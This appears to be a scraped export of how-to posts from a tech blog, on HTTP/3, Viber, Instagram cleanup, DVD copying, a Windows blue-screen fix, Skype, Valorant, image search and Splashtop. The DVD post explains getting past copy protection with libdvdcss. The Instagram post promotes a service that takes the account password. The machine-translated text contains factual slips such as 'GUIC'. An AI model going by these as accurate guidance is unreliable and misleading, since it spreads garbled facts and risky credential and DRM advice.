Instead of using TCP, HTTP / 3 uses Google's QUIC protocol. HTTP / 3 was originally called HTTP-over-QUIC. HTTP / 3 also uses TLS 1.3 encryption so that it doesn't need separate HTTPS to enhance the security of today's protocol.\nGUIC was originally short for Quick UDP Internet Connections. This protocol is designed to be faster, with lower latency than TCP. QUIC uses less volume of information exchanged when establishing a connection and faster data transfer through that connection. Unlike TCP, an error like a lost piece of data along the way does not cause the connection to stop and wait for the problem to be fixed. QUIC continues to transfer other data while the problem is resolved.\nIn fact, QUIC has been added to Google Chrome since 2013. Chrome uses it when communicating with Google services and some other websites like Facebook and it is available on Android apps. But QUIC is not a standard integrated into other web browsers. With HTTP / 3, technology will come as a standard way for other browsers.\nIn short, HTTP / 3 is a newer, better and faster interface. It is a more modern solution, aimed at improving security and web speed.\nHTTP / 3 was added to the latest Canary version of Google Chrome in September 2019, hidden behind the command line flag. Launch Chrome Canary with command line argument --enable-quic --quic-version = h3-23 to enable HTTP / 3.\nMozilla announced it is working to add HTTP / 3 to the experimental version of Firefox Nightly this fall. The Chromium-based version of Microsoft Edge will inherit Google's HTTP / 3 that works for Chrome as well as other Chromium-based browsers like Opera. Hopefully Apple will also add HTTP / 3 to Safari in the future.\nCloudflare even announced that it would make it easier to apply HTTP / 3 to websites that use their content delivery network. Cloudflare customers will soon be able to activate HTTP / 3 (with QUIC) for their websites. This will promote the adoption of HTTP / 3 by making the site easier to activate when a browser has HTTP / 3 stable and for everyone.\nHTTP / 3 is coming with other software such as Niginx web server based on HTTP / 3 support for Niginx 1.17 minutes.\nCloudflare said it will continue to work with other organizations, including Google and Mozilla, to finalize the QUIC and HTTP / 3 standards and encourage widespread adoption. There is a lot of work to be done before this standard is enabled by default in modern browsers and is used automatically.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mZqCkqb1uf4yapZ1loaq2pHnSqZyenF2qvW7Ax55km6qfrMCmvg%3D%3D\n","link":"/post/how-do-http-3-and-quic-speed-up-the-browser/","section":"post","tags":null,"title":"How do HTTP / 3 and QUIC speed up the browser?"},{"body":"Viber software installed on the computer has separate sounds for messages and calls or even sounds when others send stickers. Each sound is different and separate. Often these sounds are fixed and there is no change option in the settings.\nHowever, users can still change the message sound, call sound on Viber to their liking by following the steps in the Network Administrator's article. Accordingly we will change directly in the Viber data section in each different audio folder. The following article will guide you how to change the sound of messages and calls on Viber.\nHow to turn off the Viber message notification sound on Android How to change the phone number on Viber How to change the chat wallpaper on Viber Instructions for sending audio messages on Viber How to change the message sound, video call Viber PC Step 1:\nFirst of all you need to download the audio message, video call sound for Viber want to change in wav format and save to the same folder.\nNext we access the computer directory under the path C: Users [username] AppDataLocalViberSound to open the audio folder for Viber. There will be 2 main folders for changing audio: Messages with message sounds and Ringtone as video calling sounds on Viber.\n  Step 2:\nIn the Messages folder you will see different types of sounds when a message arrives, such as notification sound of a new message, the sound of sending a sticker, etc.\n  Step 3:\nNow you need to rename the new message sounds to the same as the default Viber message sound name , then right-click and select Copy.\n  \nThen go back to the Messages folder, right-click and select Paste . Now the computer will ask if you want to replace the file with the same name or not, click Replace the file in the destination . Then the default Viber audio message file will be replaced with the sound you choose. Immediately the Viber message sound was changed.\n  \nStep 4:\nIf you want to change the audio of video calls on Viber we do the same, access the Ringtone folder . Rename the new sound selected as ringtone.wav then Paste into Ringtone folder to replace the default call audio file.\n  \nAlthough Viber does not have the item to change the sound of messages and calls in the software's settings, we can easily change the bar at our disposal. You just need to rename the new audio file to coincide with the default audio name of Viber.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lo6TCr7CMqJ1mpZWowKKzxKxkr6GSmr9uvMJmmpqknKg%3D\n","link":"/post/how-to-change-the-sound-of-messages-viber-pc-calls/","section":"post","tags":null,"title":"How to change the sound of messages, Viber PC calls"},{"body":"Instagram is the most popular photo-sharing social network and has the highest number of active users today. As \"virtual life\" photography becomes a trend among young people, Instagram attracts more and more users because it is a great place for them to share their work. Even if the photo is not beautiful, Instagram is ready to support smoothing filters, even unique effects and stickers.\nIn addition, Instagram is also a place where you can easily find a lot of cool photo ideas from famous photographers around the world. Here, you can also follow your favorite idols, get updates from your friends, leave comments on amazing photos and much more. It's great isn't it?\nHowever, after a period of use, you may be annoyed by many unrelated posts or difficult to find your favorite content because you have followed too many people. Or you are also plagued by fake followers and Instagram bots. So how can you check for Fake followers audit or remove bots that are bugging you and clean up your Instagram account ?\nIn addition to resetting Instagram , you also have some simple but effective methods to \"clean\" this social network.\n  Here are the ways to clean up your Instagram account\nUnfollow accounts that never interact Instead of scrolling through the news feed every time, you also have to waste time reading or scrolling through the posts of people you are not interested in, unfollow them.\nTo see which accounts rarely interact on Instagram, click the Profile icon in the lower right corner of Instagram to view your profile. Then click Following to see a list of people you are following.\nAt the top of the list, you'll see categories including Least Interacted With and  Most Shown in Feed .\nAlso, if you're following the same account on Instagram and Facebook, consider unfollowing an account.\nIt's easy for people to share Instagram posts to Facebook. That means there will be content duplication in these two platforms. Isn't it a waste of time to read two similar things? Because think about turning off or unfollowing any accounts you see duplicate content every day on Facebook.\nDelete or archive old photos Maybe you uploaded images from a few years ago and they are low quality or you are \"lost\" Please delete it.\nTo delete a photo on Instagram, select the photo, tap the 3-dot Menu in the upper right corner of the post, select Delete and confirm the selection again. This will permanently delete photos and related information, you can no longer recover.\nOr the user can use the storage option. When you archive a photo or video, the post will disappear from the public profile. However, you can still review it in your archive.\nTo save, click Menu 3 dots in the upper right corner of the photo to save, select Show on Profile . This will preserve all of the post's likes, comments, and other information.\nClick the horizontal menu bar on the right side of the profile page, choose to save Archive . Switch the dropdown at the top of this page to Posts Archive , you'll see all the archived posts.\nUpdate personal information Go to your profile and tap on  Edit Profile to correct any information that is no longer true or relevant to you. For example, change your name, username, website link, bio, profile picture.\nTurn off Stories or posts you don't care about If someone posts dozens of things to Stories every day, you can turn off stories from someone you follow but still see their wall posts. Or vice versa, unfollow posts but still see their stories.\nTo do this, go to their profile \u0026gt; select Following and select Mute from the pop-up list. Use the slider to turn off Posts and/or Stories . Repeat this step if you want to disable it.\nIf you like, you can also prevent some people from seeing your Stories. Go to their page, press the Menu button in the right corner and select Hide Your Story.\nUse \"Close Friend\" to restrict viewers Sometimes you share a story that only a certain group of people can see. Use the Close Friend feature .\nTo add someone to your Close Friend list, tap the Profile icon in the lower right corner and select  Close Friend from the sidebar. Choose from suggestions or find the person you need in the search bar.\nOnce you've set up your desired friends list, every time you post a story, click Close Friends at the bottom left of the page and only people on that list will see the Stories you posted.\nThose who are selected as your Close Friends will know this by the green circle around your profile picture when viewing Stories. However, they don't know who else is on the list and no one can ask to join your Close Friends.\nSee how much time you spend on Instagram Go to  Your Activity page to the right of your profile and you'll see the average amount of time you've spent on Instagram over the past week.\nIf you want to limit the time you use this social network, use the Set Daily Reminder function . Choose an amount of time and Instagram will notify you when you reach that limit for the day.\nOr users can also change Notification Settings to reduce the notifications that Instagram sends, helping you limit opening the application more.\nRestrict or block those who don't like it If you \"dislike\" someone on Instagram, restrict or block them. When restricted, their comments on your posts appear only with your permission. In addition, this person cannot see if you are online, have read their messages or not, and if they comment, you will not receive a notification.\nHow to restrict someone: Go to their profile, touch Menu is the 3-dot icon in the upper right corner, select Restrict . That person doesn't know you do this. If you want to remove the restriction and redo the process, that's fine.\nBlock is to completely prevent someone from interacting with your post. This feature is on the same menu as Restrict . Instagram doesn't notify the person that you blocked them, but when they go to your page, they don't see anything.\nExplorer page cleanup The Explore page helps you find new accounts to follow. It works based on your search history, which means it can be cluttered with irrelevant suggestions. So, if you see something on this page that you don't like, tap it, select Menu in the upper right corner and select Not Interested in This Post . Suggestions will be hidden and less visible in the future.\nTo reset the Explore page, clear your search history by going to your profile page \u0026gt; open the right sidebar, tap Settings . From here, go to Security \u0026gt; Search History . Delete individual items by tapping the X next to them, or tap  Clear all to start fresh.\nUse the \"necessary\" rule Ask yourself this simple question: Do you need to see that content? If the answer is not in a positive direction, do not hesitate to remove the content that is not worth it. \"Time is money\" and you have the right to decide how to use it. Create an Instagram that you really love and like.\nUse Spam Guard app Spam Guard - is an online service that cleans your Instagram and blocks spam activity. It's an effective cleaner for Instagram to deal with spam accounts and dissimilar registrations, and it's an anti-spam tracker to block unwanted followers and comments.\nSpam Guard - is the first smart cleaner for Instagram. This service cleans up spam accounts on Instagram between your followers and those you follow. You know how to easily prevent spam on your profile now. Wipe away ghosts, businesses and unpopular and inactive users in a few clicks. Spam Guard is also the first unique anti-spam best hacker monitoring software that takes care of your account and blocks spam and unwanted activity from spam and ghost accounts.\nSteps to clean your Instagram account with Spam Guard app. Step 1. You access spamguard here, then click \"TRY NOW\" to start using.\n  Step 2. You need to add your Instagram account. Enter the login and password from your account and click \"Add Account\".\n  After that, spamguard will start syncing your account. Once your account is successfully attached to the profile, you can start scanning your account, removing threats and activating protection.\nStep 3. Scan your account for threats.\nTo start scanning, you must click the button on the main screen of the service (in the control panel, \"Scan and clean\").\n  SpamGuard will analyze your subscribers and outgoing subscriptions for threats and categorize them into appropriate groups.\n  When the scan is complete, you will receive the results and cleaning recommendations.\n  Step 4. Clean account from threats\nOnce the account analysis is completed, you will be prompted to set up a list to clean and lock the account. You can exclude an entire group of accounts or some accounts to be added to the Exclusions list.\n  Cleaning starts after setup.\n  When the cleaning is finished, you will receive an email notification and a report about the Cleaning.\n  Very simple and convenient, right? You can see detailed usage and advanced features of spamguard here.\nConclusion Follow the tips above, your Instagram account will definitely be neater and more efficient!\nAbove, I showed you how to clean your Instagram account and help you unfollow fast unfollow Instagram, bulk unfollow Instagram, mass unfollow\u0026nbsp;Instagram. Hope the above information is useful to you. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vedSpZLKnpad6qrrSrZigqpGieqKvwqisp6xdnrtufo9raA%3D%3D\n","link":"/post/how-to-clean-up-your-instagram-account-in-2021/","section":"post","tags":null,"title":"How to clean up your Instagram account in 2021"},{"body":"Copying a DVD movie, also known as ripping, is done by turning the DVD's contents into a computer file and then burning that data onto a blank DVD disc. To do this, you will need the original DVD, a new disc, and a computer capable of...\nPart 1of 4:\nPreparing to Rip  Make sure you have the necessary equipment. Before you can begin the process of copying your DVD, you'll need to have the following items at your disposal: A Windows or Mac computer with a DVD reader A DVD you want to burn A blank DVD±R disc   Buy a USB DVD reader if necessary. If your computer doesn't have a DVD slot, you'll need to buy a USB DVD reader before continuing. Make sure that your USB DVD reader supports burning, as you won't be able to rip or burn the DVD if it doesn't. For a Mac, you'll need a USB-C DVD reader.   Download and install HandBrake. HandBrake is a free video encoder which will allow you to rip DVDs. To download it, go to https://handbrake.fr/ in your computer's browser and click the red Download HandBrake button. You can then install it by doing the following: Windows — Double-click the downloaded setup file, then click through the on-screen windows until HandBrake is installed. Do not alter the location in which HandBrake is installed. Mac — Double-click the HandBrake DMG file, verify the software if prompted, click and drag the HandBrake icon onto the Applications shortcut, and follow any on-screen instructions.   Install the HandBrake copy protection plugin. This plugin allows you to rip DVDs regardless of their protection, which means you'll be able to rip commercial DVDs (e.g., movies):[1] Windows — Go to https://download.videolan.org/pub/libdvdcss/1.2.11/win64/ in your browser, click the libdvdcss-2.dll link and confirm that you want to download it if prompted, open This PC on your computer, double-click your computer's hard drive, double-click the Program Files folder, and move the downloaded DLL file into the HandBrake folder. Mac — Go to https://download.videolan.org/pub/libdvdcss/1.2.11/macosx/ in your browser, click the libdvdcss.pkg link, double-click the downloaded PKG file and verify it if prompted, and click through the setup windows until it's installed.   Download a DVD-burning program. While both Windows and Mac computers have built-in burning options, using File Explorer or Disk Utility to burn a DVD will not allow the DVD to play in most DVD players. You can download specialized software to address this issue: Windows — Go to http://www.dvdflick.net/download.php in your browser and click Download DVD Flick, double-click the downloaded setup file, click Yes if prompted, and click through the setup windows until DVD Flick is installed. Mac — Go to http://burn-osx.sourceforge.net/Pages/English/home.html and click Download Burn in the lower-right corner, open the Burn ZIP folder by double-clicking it, click and drag the Burn app icon into the Applications folder, double-click the Burn app icon, verify the download if prompted, and follow any on-screen instructions.  Part 2of 4:\nRipping the DVD  Insert the DVD into your computer's DVD reader. Place the DVD logo side-up in the DVD reader to do this. Your computer will immediately begin reading the DVD. If any auto-play windows open after you insert the DVD into your computer, close them before continuing.   Open HandBrake. Double-click the HandBrake icon, which resembles a tropical drink next to a pineapple.\n  Select your DVD. Click Open Source in the upper-left side of the HandBrake window, then click your DVD's name in the pop-out menu that appears. HandBrake will begin reading your DVD. The pop-out menu may open automatically when you open HandBrake.   Allow HandBrake to finish reading the DVD. This will take several minutes, so just make sure that your computer is charged (or plugged in) and in a well-ventilated area. Your computer's DVD drive will become fairly warm from this point until you're done burning the copy DVD, so it's important to make sure that your computer stays in an area where it can vent.   Click Browse. It's in the lower-right corner of HandBrake (Windows) or on the right side of HandBrake (Mac). Doing so opens a new window.[2]\n  Set the desktop as the save location. Click the Desktop folder on the left side of the window (you may first have to scroll up to find it). This will make the DVD's file easier to find later. On a Mac, click the \"Where\" drop-down box in the middle of the window, then click Desktop in the resulting drop-down menu.   Enter a file name. Type whatever you want to name the ripped file into the \"File name\" or \"Name\" text box.\n  Click Save. It's at the bottom of the window. Doing so will set a save location for your ripped DVD file.\n  Click Start Encode. This green-and-black \"Play\"  button is at the top of the HandBrake window. On a Mac, you'll click Start here.   Wait for your DVD to finish ripping. By default, HandBrake will rip the DVD twice and select the highest-quality version, so this process can take upward of an hour (or more) for a feature-length film. Closing background programs (e.g., video players, web browsers, etc.) while your DVD is burning may speed up the ripping process.   Eject the DVD. Press the \"Eject\" button on your DVD player's lid. This will remove the disc. At this point, you're ready to begin burning the MP4 file onto a DVD. If you're using an older Mac, you'll instead press the ⏏ Eject key.  Part 3of 4:\nBurning the DVD on Windows  Place your blank DVD±R in your DVD reader. Insert the disc logo side-up. If doing this causes the DVD's window to open, close the window before proceeding.\n  Open DVD Flick. Double-click the DVD Flick app icon, which resembles a film strip.\n  Move your DVD's MP4 file into DVD Flick. Find the MP4 file on your desktop, then click and drag the video onto the DVD Flick window to drop the file onto the DVD Flick window.\n  Click Project settings. It's at the top of the window.\n  Click Burning. You'll find this tab on the left side of the page.\n  Check the \"Burn project to disc\" box. It's at the top of the page.\n  Click Accept. This is at the bottom of the window. Doing so will save your changes and take you back to the main page.\n  Click Create DVD. It's at the top of the window. At this point, DVD Flick will begin burning your selected MP4 onto your blank DVD disc. You may be prompted to select a different file name. If so, just click Continue to close the prompt.   Wait for the DVD to finish burning. This can take anywhere from minutes to hours depending on your computer's speed and the size of the file. Once the DVD finishes burning, you can eject it and play it in your DVD player. As with ripping the DVD, closing background programs (e.g., video players, web browsers, etc.) while your DVD is burning may speed up the process.  Part 4of 4:\nBurning the DVD on Mac  Place your blank DVD±R in your DVD reader. Insert the disc logo side-up. If doing this causes the DVD's window to open, close the window before proceeding.\n  Open Burn. Click Spotlight  , type in burn, and double-click the Burn option when it appears in the search results. You may have to right-click the Burn app icon, click Open in the menu, and then click Open when prompted to get Burn to open correctly.   Click the Video tab. It's at the top of the Burn app window.\n  Enter a name for your DVD. Click the text field at the top of the Burn window, then type in whatever you want to name your DVD.\n  Click ＋. It's in the bottom-left corner of the window. This prompts a Finder window to open.\n  Select your MP4 file. Click Desktop on the left side of the Finder window, then click the MP4 file that you ripped from the DVD.\n  Click Open. It's in the bottom-right corner of the Finder window. Doing so closes Finder and opens the MP4 file in Burn.\n  Click the file type drop-down box. This option is in the upper-right side of the Burn window. A drop-down menu will appear.\n  Click DVD-Video. It's in the drop-down menu. If you see Convert appear after doing this, click Convert, then follow any on-screen prompts to ensure that your file will be playable by DVD players.   Click Burn. It's in the bottom-right corner of the window. Burn will begin burning your MP4 file onto the DVD disc.\n  Follow any on-screen prompts. You may receive a notification when the burn is complete. If not, just wait for the progress bar to disappear. Once the burn is complete, you can eject your DVD and play it in your DVD player.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZurYydrZ1lnaTDqrE%3D\n","link":"/post/how-to-copy-a-dvd-movie/","section":"post","tags":null,"title":"How to Copy a DVD Movie"},{"body":"In this article, let's learn how to fix Dxgmms2.sys Blue Screen error.\n  I. What is Dxgmms2.sys? Dxgmms2.sys is an important file in Windows responsible for the computer's graphics rendering capabilities. If it can't handle the rendering, it will stop all computer operations and display a blue screen. Then the computer needs to be restarted to fix the problem.\nSome causes of dxgmms2.sys error:\nRAM, hard drive failure Firmware is not compatible Outdated, corrupted drivers Unable to respond to hardware accelerator BIOS is corrupted II. How to fix Dxgmms2.sys Here are a few ways to troubleshoot Dxgmms2.sys. You should try the methods sequentially to see which works for your system.\n1. Hardware test You should start by making sure that hardware like RAM, GPU, and hard drive are working properly.\nTry removing the RAM, cleaning the RAM pins and the communication port to remove dirt. Then plug it back in to see if the RAM is faulty. You should also do the same for the GPU, remove and clean its interface.\nFor the hard drive, use third-party software to monitor and check its health.\n2. Update Driver Outdated or corrupted drivers can also be the cause of the computer configuration not being able to operate at maximum efficiency. Thuthuatphanmem.vn recommends updating the latest driver for your GPU.\nTo update drivers in general, you can use third-party software to automatically detect and replace old, damaged drivers.\u0026nbsp;\nFor the GPU driver, visit NVIDIA or AMD's website to download the driver, depending on the type of video card you use.\n3. Run the DirectX . diagnostic tool DirectX is an API that enhances your multimedia experience on your computer. It has a built-in diagnostic tool in Windows 10 to display all current information about the graphics hardware as well as related software.\nStep 1: Press the Windows + R combination to open the Run dialog box, then type dxdiag and Enter.\n  Step 2: When the tool launches, switch to the Display tab and check if the 3 features in DirectX (DirectX Features) have been enabled (Enabled) or not?\n  If you see this feature as Disabled, then you must reinstall DirectX on your PC. Download DirectX and install it.\n4. Reset BIOS Misconfigured BIOS can also lead to blue screen on PC. Therefore, if the above doesn't solve the problem, try reinstalling your entire BIOS settings.\nFirst, you need to access your computer's BIOS using one of the ways in this article.\nThen, go to 'Reset BIOS', 'Load Optimized Defaults' or 'Restore Defaults' (depending on different BIOS). Usually you will find it on the Save \u0026amp; Exit page or the Security page.\n  Select Yes in the question to reset the settings.\n  III. Increase tdrdelay time TdrDelay is the GPU delay before processing scheduled tasks. This value is in seconds and by default its value is 2. You can change this number through Registry Editor, here's how.\nBefore doing so, you should back up the Registry Editor, because any mistake in making changes to the Registry can affect system functionality.\nNow, press the Windows + R combination to open the Run dialog box, then type regedit and press Enter.\n  Open the folder sequentially with the following path, or simply copy-paste it into the address bar:\nComputer/HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/GraphicsDrivers\n  Now right click on GraphicsDrivers in the left pane \u0026gt;\u0026gt; New \u0026gt;\u0026gt; DWORD (32-bit) Value.\n  Name this new DWORD TdrDelay.\n  Once created, double click on TdrDelay and set the Value Data to 10 and then OK. The system will need to reboot for the change to take effect.\n  Turn off hardware acceleration The purpose of hardware acceleration is to provide better performance, while consuming less power. However, sometimes it causes Dxgmms2.sys blue screen. So you need to disable it and check if the problem is resolved or not?\nTo disable hardware acceleration, you need to launch Registry Editor again and access the path: Computer/HKEY_CURRENT_USER/SOFTWARE/Microsoft/Avalon.Graphics\n  Right click on the upper right area in the right pane \u0026gt;\u0026gt; New \u0026gt;\u0026gt; DWORD (32-bit) Value.\n  Now name the DWORD as DisableHWAcceleration.\n  Once the new key has been created, double click to open it, set the Value data to 1 and click OK.\n  Please restart the computer for the changes to take effect.\nConclude It's frustrating when you're playing a game and your computer stops working. Follow the steps above to fix the blue screen problem. Good luck!\nfix blue screen error dxgmms2.sys error ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqlxMampKxqo67AbsTAp59mmpyqsm6%2FwqucnqZdmr%2Bzu9E%3D\n","link":"/post/how-to-fix-dxgmms2-sys-xanh-blue-screen-error/","section":"post","tags":null,"title":"How to fix Dxgmms2.sys xanh Blue Screen error"},{"body":"Along with popular free instant messaging and voice calling software such as Viber, Facebook Messenger, Skype is chosen by many users to exchange work or text with friends. However, in the process of using Skype or working with Skype chat groups, you encountered some errors, such as not being able to receive messages in Skype Chat Group.\nThis inadvertently causes your work to be interrupted quite a lot, when you can't exchange work with your colleagues. If you do not know how to fix it, please refer to the error correction article not receiving messages in the Skype chat group of the Network Administrator.\nMethod 1: Upgrade Skype version: The error of not receiving any messages in Skype chat group happens sometimes because your Skype version is old, so you can't receive any messages from the group members. So try removing the version of Skype you are using and reinstalling the latest version.\nDownload the latest Skype version Method 2: Reset customizations on Skype: If you have uninstalled and reinstalled Skype, but the error condition still occurs, you can do it in the following way:\nStep 1: Log in to your personal Skype account . At the main interface, click the Tools tab and select Options , or use the Ctrl +, key combination.\n  Step 2: The Skype - Options window appears. Here, we click on the Privacy item and select Privacy settings .\nAt the right interface, we click on Clear Skype cookie to delete history and cookies.\n  Step 3: The following dialog box will appear asking if you are sure you want to delete Cookies on Skype? Click OK to proceed with deletion.\n  Step 4: Also in the Sky - Options interface, click the Block contacts item to unblock the members. In the interface to the right of the screen, we select that member and click on the item Unblock this person . Click Save to save the edit. We proceed with the same operation with another contact.\nMaybe because of the last time I worked on Skype, you blocked someone on the list, so I could no longer receive their messages in the Skype Group chat. This will unblock someone on Skype.\n  Step 5: Finally exit Skype and log in again.\nSo, we can already receive messages from everyone on the Skype chat group list. Please regularly update the new version for Skype to avoid some errors, and experience more new features.\nRefer to the following articles: Guide to chat with lots of Skype nick on the same computer How to hide, hide the chat content, chat on Viber The fastest way to log out of Facebook Messenger I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxllKR6r7vTZqmem5Wew6Z5zJ6qrJmXmsButc1mnqunpaV6pLTArWSopl2ouLq8xA%3D%3D\n","link":"/post/how-to-fix-errors-do-not-receive-messages-in-group-chat-on-skype/","section":"post","tags":null,"title":"How to fix errors do not receive messages in Group chat on Skype"},{"body":"Valorant is a shooting game with \"home\" with League of Legends and LOL Toc Chien - Riot Games. As a FPS game like Overwatch, PUBG, CS GO . but Valorant is a bit different.\nIn addition to the battle you have to hold a gun to deal with the enemy team according to the different game modes, you can also use specific skills with the characteristics of each character in the game. These skills will assist you to fight alongside the main weapon is a gun.\nHow to play Valorant is not too difficult, with many gamers who are familiar with FPS games, getting acquainted with Valorant does not take too much time. But for gamers who have never played FPS games, please see the instructions for playing Valorant in the article below.\nGuide to play Valorant for newbies Step 1: First you get acquainted with Spike Rush mode , also known as fast bomb setting. Click Start to start the match, if you have friends, click the plus sign to add your friends\u0026nbsp;\n  Choose your character below before the countdown into the game ends.\n  In the game, press B to buy weapons and equipment needed. In bomb setting, there will be a bomb in front of the bombing side. You can pick and place bombs, it's like bombing mode in that Crossfire Zero.\n  Weapons will have secondary weapons (pistols), main weapons, armor and the character's special skills below instead of the same bombs on CS GO.\n  When new to the game, you will be given a period of time to prepare weapons and tactics. See where your team goes, follow it. When the countdown timer in the middle of the timer runs out, the walls will be removed, and now your team and the enemy team will start moving around the map.\n  The bar below the middle of the screen will show you the skills you have. Press the corresponding key to use.\n  Go to the target, press 4 to remove the bomb and place it there. If the time limit specified and you have not set the bomb, your team will lose. When the game has only 30 seconds left, a notification will be issued to let you know.\n  If you die before the bomb is set, the bomb will drop and your team can pick it up to place it.\n  When you finish setting the bomb, the time in the half will change to the time the bomb explodes.\n  The winning numbers for both teams will be shown above, and you'll also know which members are still alive on both teams.\n  The number of rounds for you to win in the game is 4 rounds, so the pace to complete a bombing match in Valorant will not be too long.\nHopefully, the above guide to playing Valorant will help you who have never played FPS games and who want to learn how to play Valorant before entering this battlefield. Fighting in the game.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZuwsClpquZnql6p7vRZqWer5KesrQ%3D\n","link":"/post/how-to-play-valorant-for-newbies/","section":"post","tags":null,"title":"How to play Valorant for newbies"},{"body":"Searching by image on mobile devices is very convenient and useful when we want to look up information for any product or an image that you are curious to look up more information about them.\n  In the following article, TipsMake.com shows you two good and useful ways to search for images on Android and iOS phones with Google search engine. Invite you to refer.\n1. Search for images on iPhone and Android phones on the Google app First, download the Google app for Android and iOS at the link below:\nAndroid: https://play.google.com/store/apps/details?id=com.google.android.googlequicksearchbox\u0026amp;hl=en_US\niOS: https://apps.apple.com/us/app/google/id284815942\n1.1 How to find photos on iOS with the Google app Step 1: Open the Google app (1) and touch the Google Lens icon (2) in the search box.\n  Step 2: Select Turn on the camera to use Lens (1) and select OK (2) to grant camera access for the application.\n  Step 3: Use the camera on your iPhone to take any photo. In the article, I will take a test shot of Galaxy A7 and see how Google's search results. You click on the magnifying glass icon to take a picture and then Google will analyze your image and give the closest results.\n  2.2 How to search for images on Android phones with the Google app Step 1: Open the Google app and touch Update (1) . You then touch the Google Lens icon (2) .\n  Step 2: Select Turn on the camera to use Lens (1) and click Allow (2) to grant camera access to the application.\n  Step 3: Use the camera to capture any product or image and Google will analyze and search the results corresponding to that image. In the article I will take a picture of the iPhone 6 Plus and the results returned as shown below.\n  2. Search by image on Android and iOS phones with a browser First, download the Google Chrome browser for Android and iOS at the following link:\nAndroid: https://play.google.com/store/apps/details?id=com.android.chrome\u0026amp;hl=en_US\niOS: https://apps.apple.com/en/app/google-chrome/id535886823?l=en\nStep 1: You open the application open and access the Google homepage. Then select the image  search (1) =\u0026gt; touch the 3 dots on Chrome (2) =\u0026gt; Request desktop website (3) . After the site interface into a computer interface, you touch the Camera icon (4) in the search box.\n  Step 2: Select Upload photos (1) =\u0026gt; Select files (2) =\u0026gt;  Photo galleries (3) to upload photos to be searched on Google.\n  Step 3: You choose the image to search in the image library and Google will return results for us as shown below.\n  With the image search tips on Android and iOS phones in the article, you can take advantage of the camera on your phone to search for the images you want with Google. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVlr%2BktIybsGahnZa0pnnOp2SiqJiku6Z5wKebZpmemb%2BwtcNmp6GnnprA\n","link":"/post/how-to-search-by-image-on-iphone-and-android-phones/","section":"post","tags":null,"title":"How to search by image on iPhone and Android phones?"},{"body":" Need to access a home desktop computer, or perhaps a work PC? Splashtop is one of most simple and straightforward methods for accessing remote PCs. While lacking some of the features that more complex apps use, Splashtop works quite well...\nPart 1of 4:\nDownloading Splashtop 2 Remote Desktop for Android  Open the Play Store. Tap on the Play Store icon on the device home screen or application drawer to launch the app. The icon will look like a small white bag with a play symbol in the middle.   Search for Splashtop. Tap the magnifying glass in the upper right-hand side of the screen. Type in 'Splashtop,' with no quotes, and hit the magnifying glass at the bottom right-hand side of the on-screen keyboard to proceed with the search.\n  Install Splashtop. The first search result at the top of the page should be a green box that has a small white splash icon and 'personal' under it, inside of a white box. In the upper right-hand corner of the box should be 3 dots rising vertically. Tap the 3 dots, and a small box will appear that says 'Install'; tap it, and a Permissions page will appear. Tap on 'Accept,' and the installation process will begin.\n  Confirm successful installation. From the top of the screen, slide a finger down to bring out the black notification bar. Under the section titled 'Notifications,' there should be the green box that has a small white splash icon and 'personal' under it on the left-hand side. It should say 'Splashtop 2 Remote Desktop,' and under it 'Successfully installed.'\n Part 2of 4:\nSetting Up a User Account on Android  Tap the Splashtop icon to open the app. The first page to open will ask to create a new account with the program.\n  Enter the needed information. Type in a new email address in the first field, and a password on the second and third fields. Remember these as they will be needed to access the remote PC later.   Tap OK once you're done. You'll be taken to your account's home screen.\n Part 3of 4:\nDownloading and Setting Up Splashtop for Windows or Mac  Visit the download page on your PC. Open a web browser, like Chrome, and go to http://www.splashtop.com/downloadstart. Once there it should say 'Download Starting' near the top of the page. The download will not start until the 'Windows' or 'Mac' options are selected from the sentence below.   Select one of the options to begin the download. Select 'Windows' to download the setup file for Windows, and 'Mac' for Mac.\n  Install Splashtop for PC. Once the download has completed, run the setup file. Accept the Terms of Use and conditions then choose whether to access the PC regardless of who is logged on, or only the current user.\n  Log into your Splashtop account. Once you've installed Splashtop, you'll be asked to log in. Enter the same email and password used to create an account on the mobile app. Make sure to note the name of the computer listed above the login area.   Change sleep timer on Windows. On the desktop app is a Settings tab. In order to access a remote PC with Splashtop, the remote PC needs to be active. The computer cannot be in Sleep mode or Hibernation mode. From the Settings tab, under System Power Options, it may be necessary to change the current sleep time of the PC. Click 'Change Sleep Settings…' Click 'Change when the computer sleeps' from the blue menu on the left side of the screen. Under the 'On Battery' and 'Plugged in' headings, select the 'Put the computer to sleep' drop down menu. Select the amount of time until the PC will be remotely accessed. For example, if it takes 30 minutes to get home, select 45 minutes from the drop-down menu. NOTE: Any time amount may be chosen, however, if the PC will be accessed on a regular basis, it may be prudent to set the sleep timer for longer periods of time. Or perhaps switch it to the 'Never' setting, to insure that the PC will always be available. Hit 'Save changes' on the bottom right to finish.  Part 4of 4:\nRemotely Accessing Your PC  Make sure that Splashtop is running on the PC. If using Splashtop on a Windows machine, check the taskbar in the lower right-hand corner of the desktop. Click the arrow next to the clock in order to expand the menu and check for the Splashtop icon. If its not there, make sure to double-click and open Splashtop again. Confirm that the account created earlier is logged in.\n  Log into the mobile app. Tap the Splashtop icon in the app drawer. Once the app opens, it should remember the account created on the device earlier and automatically log in. After this, the app should come up with a list of PCs accessible on the current account. Double-check to make sure of the name of the PC being connected to.\n  Open the remote PC. Tap the name of the PC to connect to. A black screen may appear on the device for a moment, and then the screen of the PC should appear on the mobile device. There should be 2 options on the lower right-hand side of the screen. These should appear as gray icons.   Open the on-screen keyboard. Tap the gray icon on the right to open an on-screen keyboard for typing on the remote machine.\n  Know the Options menu. Tap the gray icon on the left to open the Options menu, coming out from the bottom of the screen, with the following options: Disconnect. This will disconnect the Android device from the remote PC. Record. This will make a video recording of all actions on screen being taken on the remote PC. Hints. This will display the gestures that are compatible with the device. A rotating arrow marks the next option. This locks and unlocks the screen rotation. The next option will have a small 2 and 1 on it. This option should scroll through multiple connected screens on the remote PC, if connected. The middle option will bring up 